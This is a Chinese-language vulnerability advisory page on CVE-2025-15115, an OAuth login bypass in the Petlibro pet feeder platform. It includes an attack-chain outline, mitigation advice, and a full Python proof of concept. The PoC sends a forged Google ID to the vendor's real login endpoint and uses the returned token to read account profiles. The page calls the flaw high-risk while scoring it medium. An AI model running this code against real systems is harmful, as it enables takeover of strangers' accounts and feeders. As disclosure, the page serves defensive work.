IPBUF安全漏洞报告
English
CVE-2025-15115 CVSS 6.5 中危

CVE-2025-15115 Petlibro智能宠物喂食器平台OAuth认证绕过漏洞

披露日期: 2026-01-04

漏洞信息

漏洞编号
CVE-2025-15115
漏洞类型
认证绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Petlibro Smart Pet Feeder Platform

相关标签

认证绕过OAuth漏洞智能设备PetlibroAPI安全会话劫持CVE-2025-15115社交登录

漏洞概述

CVE-2025-15115是Petlibro智能宠物喂食器平台中发现的一个高危认证绕过漏洞。该漏洞存在于1.7.31及之前版本中,允许未经身份验证的远程攻击者通过利用社交登录系统中的OAuth令牌验证缺陷来访问任意用户账户。攻击者可以构造恶意的API请求,绕过OAuth验证机制,获取有效的会话令牌,从而完全控制受害者的账户。攻击者只需提供任意的Google ID和phoneBrand参数,即可通过/member/auth/thirdLogin端点获取完整的会话令牌,实现对任意账户的非法访问。此漏洞无需任何用户交互,攻击复杂度低,危害范围广泛,涉及用户隐私数据泄露和设备控制权限被劫持等严重安全问题。

技术细节

该漏洞的根本原因在于Petlibro平台的社交登录功能对OAuth令牌验证存在严重缺陷。在正常的OAuth认证流程中,系统应当验证由第三方身份提供商(如Google)签发的ID Token的有效性,包括签名验证、过期时间检查、颁发者验证等。然而,该平台的实现存在以下问题:1) 缺少对Google ID Token的签名验证;2) 未验证令牌的颁发者和受众群体;3) 允许攻击者自定义任意Google ID参数;4) 未对phoneBrand参数进行安全校验。攻击者可以通过向/member/auth/thirdLogin端点发送精心构造的请求,携带伪造的Google ID和phoneBrand参数,系统错误地认为这是已验证的OAuth登录,从而返回有效的session token。攻击者利用此session token可以完全接管用户账户,包括查看个人信息、修改喂食计划、控制设备等操作。

攻击链分析

STEP 1
步骤1
攻击者发现Petlibro平台的/member/auth/thirdLogin端点存在OAuth验证缺陷
STEP 2
步骤2
攻击者构造恶意请求,包含任意的Google ID(如attacker-controlled-id)和phoneBrand参数
STEP 3
步骤3
攻击者向/member/auth/thirdLogin端点发送POST请求,绕过OAuth令牌验证
STEP 4
步骤4
系统错误地认为这是已验证的OAuth登录,返回有效的session token
STEP 5
步骤5
攻击者使用获取的session token访问用户账户,执行未授权操作
STEP 6
步骤6
攻击者可以控制喂食器、查看用户信息、修改喂食计划等敏感操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-15115 PoC - Petlibro Smart Pet Feeder Authentication Bypass Note: This PoC is for educational and security research purposes only. """ import requests import json import sys TARGET_HOST = "https://api.petlibro.com" # Example endpoint VULN_ENDPOINT = "/member/auth/thirdLogin" def exploit_auth_bypass(google_id, phone_brand="Android"): """ Exploit the OAuth validation flaw in Petlibro's social login system """ url = f"{TARGET_HOST}{VULN_ENDPOINT}" # Craft malicious request with arbitrary Google ID payload = { "googleId": google_id, "phoneBrand": phone_brand } headers = { "Content-Type": "application/json", "User-Agent": "Petlibro/1.7.31 Android" } try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() if "data" in data and "token" in data.get("data", {}): token = data["data"]["token"] print(f"[+] SUCCESS: Authentication bypassed!") print(f"[+] Session Token: {token}") return token print(f"[-] Failed: Status {response.status_code}") print(f"[-] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def access_user_account(token): """ Use the obtained token to access user account """ headers = { "Authorization": f"Bearer {token}", "User-Agent": "Petlibro/1.7.31 Android" } # Try to access user profile profile_url = f"{TARGET_HOST}/member/user/profile" try: response = requests.get(profile_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Account access successful!") print(f"[+] Profile: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Failed to access account: {e}") if __name__ == "__main__": print("CVE-2025-15115 - Petlibro Authentication Bypass PoC") print("=" * 50) if len(sys.argv) > 1: google_id = sys.argv[1] else: google_id = "attacker-controlled-google-id-12345" token = exploit_auth_bypass(google_id) if token: access_user_account(token)

影响范围

Petlibro Smart Pet Feeder Platform <= 1.7.31

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1) 暂时禁用社交登录功能,强制用户使用密码登录;2) 加强API访问频率限制,防止自动化攻击;3) 监控/member/auth/thirdLogin端点的异常访问模式;4) 限制社交登录的权限范围;5) 实施IP白名单或地理围栏策略;6) 定期检查账户异常活动日志。建议用户密切关注厂商更新,及时升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表